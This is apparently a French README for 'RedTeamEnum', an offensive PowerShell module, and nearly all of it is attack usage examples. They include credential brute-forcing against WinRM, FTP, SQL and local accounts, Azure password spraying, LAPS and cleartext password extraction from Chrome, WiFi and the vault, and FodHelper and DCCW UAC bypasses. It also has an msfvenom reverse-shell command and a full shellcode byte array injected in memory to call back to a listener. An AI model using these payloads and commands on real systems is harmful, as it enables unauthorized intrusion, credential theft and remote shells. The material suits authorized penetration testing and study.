
Collection de fonctions PowerShell qu'un Red Teamer peut utiliser lors d'un engagement
Collection de fonctions PowerShell qu'un Red Teamer peut utiliser pour collecter des données depuis une machine ou obtenir un accès à une cible. J'ai ajouté des fichiers ps1 pour les commandes incluses dans le module RedTeamEnum. Cela vous permettra de trouver et d'utiliser facilement une seule commande si c'est tout ce que vous voulez. Si vous voulez le module complet, effectuez les actions suivantes après avoir téléchargé le répertoire RedTeamEnum et son contenu sur votre appareil.
C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
# Cela copiera le module vers un emplacement qui vous permet de l'importer facilement. Si vous utilisez la synchronisation OneDrive, vous devrez peut-être utiliser $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum à la place.
C:\PS> Import-Module -Name RedTeamEnum -Verbose
# Cela importera toutes les commandes du module.
C:\PS> Get-Command -Module RedTeamEnum
# Cela listera toutes les commandes du module.
C:\PS> Convert-Base64 -Value "Convert me to base64!" -Encode
C:\PS> Convert-Base64 -Value "Q29udmVydCBtZSB0byBiYXNlNjQh" -Decode
C:\PS> Convert-StringToHash -String "Convert me to base64!"
C:\PS> Convert-StringToHash -String "Password123" -Encoding UTF8 -Algorithm MD5
# Les deux exemples ci-dessus convertissent la chaîne Password123 en une valeur de hachage MD5
C:\PS> Convert-SID -Username tobor
# L'exemple ci-dessus convertit le nom d'utilisateur tobor en sa valeur SID
C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
# L'exemple ci-dessus convertit la valeur SID en son nom d'utilisateur associé
C:\PS> Test-BruteForceZipPassword -PassFile 'C:\Users\USER\Downloads\Applications\pass.txt' -Path 'C:\Users\USER\Downloads\Applications\KiTTY.7z' -ZipExe 'C:\Program Files\7-Zip\7z.exe'
# Cet exemple utilise les mots de passe du fichier pass.txt pour craquer le fichier KiTTY.7z protégé par mot de passe
C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username 'admin','administrator' -Passwd 'Password123!' -SleepMinutes 5
# Cet exemple teste le seul mot de passe défini contre les deux utilisateurs admin et administrator sur l'ordinateur distant DC01.domain.com en utilisant WinRM sur HTTPS avec un intervalle de 5 minutes entre chaque tentative
C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
# Cet exemple teste chaque mot de passe de rockyou.txt contre chaque nom d'utilisateur du fichier users.txt sans pause entre les tentatives
C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects -Domain domain.com -Credential (Get-Credential)
# Ce qui précède renvoie toutes les propriétés des objets retournés dans domain.com
#
C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property 'Name','ms-Mcs-AdmPwd'
# Si cela est exécuté en tant qu'administrateur, il renverra le mot de passe LAPS pour le compte administrateur local
#
C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like "user.samname"
# NOTE : Si vous incluez le paramètre "-Detailed" et redirigez la sortie vers Where-Object, cela ne renverra aucune propriété. Si vous souhaitez afficher toutes les propriétés de votre résultat, cela devra être effectué en utilisant le format ci-dessous
#
C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property *
C:\PS> Get-NetworkShareInfo -ShareName C$
# L'exemple ci-dessus renvoie des informations sur le partage C$ sur la machine locale
#RÉSULTATS
Name : C$
InstallDate :
Description : Default share
Path : C:\
ComputerName : TOBORDESKTOP
Status : OK
C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
# L'exemple ci-dessus découvre et renvoie des informations sur NETLOGON, SYSVOL et C$ sur les 3 périphériques distants DC01, DC02 et 10.10.10.1
C:\PS> Test-PrivEsc
C:\PS> Get-InitialEnum
C:\PS> Start-SimpleHTTPServer
Ouvrir le serveur HTTP sur le port 8000
#OU
C:\PS> Start-SimpleHTTPServer -Port 80
# Ouvrir le serveur HTTP sur le port 80
C:\PS> Invoke-PortScan -IpAddress 192.168.0.1
C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
# NOTE : Le paramètre source ne fonctionne que si la valeur IP Source Routing est "Oui"
C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
# La valeur par défaut pour count est 1
C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple
# La commande ci-dessous utilisera les identifiants saisis pour ouvrir l'exécutable msf.exe en tant qu'utilisateur tobor
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\msf.exe -Verbose
Cette cmdlet peut également être utilisée pour exécuter des fichiers situés sur votre machine locale et les exécuter sur une machine distante
# La commande ci-dessous utilisera les identifiants saisis pour ouvrir l'exécutable exploit.ps1 en tant qu'utilisateur tobor sur DC01 et DC02 en utilisant WinRM
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com"
# La commande ci-dessous utilisera les identifiants saisis pour ouvrir l'exécutable exploit.ps1 en tant qu'utilisateur tobor sur DC01 et DC02 en utilisant WinRM sur HTTPS
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com" -UseSSL
C:\PS> Invoke-FodHelperBypass -Program "powershell" -Verbose
# OU
C:\PS> Invoke-FodHelperBypass -Program "cmd /c msf.exe" -Verbose
# Générer la charge utile à utiliser
msfvenom -p windows/meterpreter/shell_reverse_tcp LHOST=192.168.137.129 LPORT=1337 -f powershell
Démarrez un écouteur, utilisez cette valeur dans le paramètre "ShellCode", et exécutez la commande pour obtenir votre shell. Cela nécessitera également que certaines protections mémoire ne soient pas activées. REMARQUE : Notez qu'il n'y a PAS DE GUILLEMETS DOUBLES autour de la valeur de la variable ShellCode. En effet, elle attend un tableau d'octets.
C:\PS> Invoke-InMemoryPayload -Payload 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x5,0x39,0xc0,0xa8,0x89,0x81,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x2,0x0,0x0,0x49,0xb8,0x63,0x6d,0x64,0x0,0x0,0x0,0x0,0x0,0x41,0x50,0x41,0x50,0x48,0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0xd,0x59,0x41,0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x1,0x1,0x48,0x8d,0x44,0x24,0x18,0xc6,0x0,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0xe,0x41,0xba,0x8,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5 -Verbose

Get-ClearTextPassword -All
La commande ci-dessus renvoie tous les résultats possibles que la cmdlet peut fournir. Des emplacements individuels peuvent également être recherchés. Par exemple
Get-ClearTextPassword -AutoLogon
Plus d'un emplacement peut être défini dans votre recherche Par exemple
Get-ClearTextPassword -WiFi -SNMP -Chrome -PasswordVault
Invoke-AzureEnum.ps1 -Path 'C:\Temp\enum.txt'
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!'
# Cet exemple teste les mots de passe définis contre la liste des noms d'utilisateurs définis
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!' -SleepSeconds 60
# Cet exemple teste les mots de passe définis contre la liste des noms d'utilisateurs définis avec un délai de 60 secondes avant la prochaine tentative de connexion
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!' -SleepSeconds 60 -RoundRobin
# Cet exemple teste les mots de passe définis contre la liste des noms d'utilisateurs définis avec un délai de 60 secondes avant la prochaine tentative de connexion. Cette opération effectue les tentatives d'authentification de manière Round Robin pour les noms d'utilisateurs définis
$UserNames = "[email protected]","[email protected]","[email protected]","[email protected]"
$UserNames | Invoke-AzurePasswordSpray -Passwd "Password123!" -RoundRobin
# Cet exemple teste les mots de passe définis contre la liste des noms d'utilisateurs définis de manière Round Robin
Test-KerberosDoubleHop -All
# Cet exemple vérifie et affiche les objets AD (ordinateurs, utilisateurs et administrateurs) vulnérables à un double saut Kerberos sur le contrôleur de domaine auquel vous êtes connecté
Test-KerberosDoubleHop -Server DC01.domain.com -UserResults
# Cet exemple utilise WinRM pour afficher les objets AD de type Utilisateur vulnérables à un double saut Kerberos sur le contrôleur de domaine distant DC01.domain.com
Test-KerberosDoubleHop -Server DC01.domain.com -UseSSL -AdminResults
# Cet exemple utilise WinRM sur HTTPS pour afficher les objets AD de type Administrateur vulnérables à un double saut Kerberos sur le contrôleur de domaine distant DC01.domain.com
Test-KerberosDoubleHop -ComputerResults -AdminResults
# Cet exemple vérifie et affiche les objets AD (ordinateurs et administrateurs) vulnérables à un double saut Kerberos sur le contrôleur de domaine auquel vous êtes connecté
Invoke-DccwUACBypass -Program "cmd /c start powershell"
# Cet exemple exploite la méthode de contournement UAC de DCCW pour ouvrir PowerShell avec des privilèges administratifs
Invoke-DccwUACBypass -Program "cmd /c start mfs.exe"
# Cet exemple exploite la méthode de contournement UAC de DCCW pour exécuter la charge utile msf.exe avec des privilèges administratifs
Enable-RDP
Test-BruteLocalUserCredential -Username Administrator -Passwd 'Password123!','Passw0rd1!'
# Cet exemple teste les deux mots de passe définis contre le compte utilisateur Administrator
Test-BruteLocalUserCredential -Username Administrator -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Cet exemple teste les mots de passe contenus dans le fichier C:\Temp\passlist.txt contre le compte utilisateur Administrator
$Users = (Get-LocalUser).Name
ForEach ($U in $Users) {Test-BruteLocalUserCredential -Username $U -Passwd (Get-Content -Path C:\Temp\passlist.txt)}
# Cet exemple teste une liste de mots de passe contre tous les comptes d'utilisateurs locaux
Test-FTPCredential -Server FTP.domian.com -Username ftpuser -Passwd 'Password123','Passw0rd1!','password123!' -Port 21 -Protocol FTP
# Cet exemple teste les 3 mots de passe définis contre le compte ftpuser sur le serveur FTP situé sur FTP.domain.com sur le port 21
Test-FTPCredential -Server FTP.domian.com -Username ftpuser,admin -Passwd 'Password123','Passw0rd1!','password123!' -Protocol FTPS -Seconds 60
# Cet exemple teste les 3 mots de passe définis contre les comptes admin et ftpuser sur le serveur FTP situé sur FTP.domain.com sur le port 21, en attendant 60 secondes entre les tentatives échouées
Test-FTPCredential -Server FTP.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Cet exemple teste les mots de passe de C:\Temp\passlist.txt contre tous les utilisateurs définis dans le fichier C:\Temp\userlist.txt sur le serveur FTP situé à FTP.domain.com sur le port 21, en attendant 1 seconde entre les tentatives échouées
Test-SQLCredential -Server sql.domian.com -Username sa -Passwd 'Password123','Passw0rd1!','password123!' -Port 1433
# Cet exemple teste les 3 mots de passe définis contre le compte sa sur le serveur SQL situé sur sql.domain.com sur le port 1433
Test-SQLCredential -Server sql.domian.com -Username sa,admin -Passwd 'Password123','Passw0rd1!','password123!' -Seconds 60
# Cet exemple teste les 3 mots de passe définis contre les comptes admin et sa sur le serveur SQL situé sur sql.domain.com sur le port 1433, en attendant 60 secondes entre les tentatives échouées
Test-SQLCredential -Server sql.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Cet exemple teste les mots de passe de C:\Temp\passlist.txt contre tous les utilisateurs définis dans le fichier C:\Temp\userlist.txt sur le serveur SQL situé à sql.domain.com sur le port 1433, en attendant 1 seconde entre les tentatives échouées
Pour plus d'informations sur Start-Listener, Start-Bind et Invoke-ReversePowerShell, voir https://github.com/tobor88/ReversePowerShell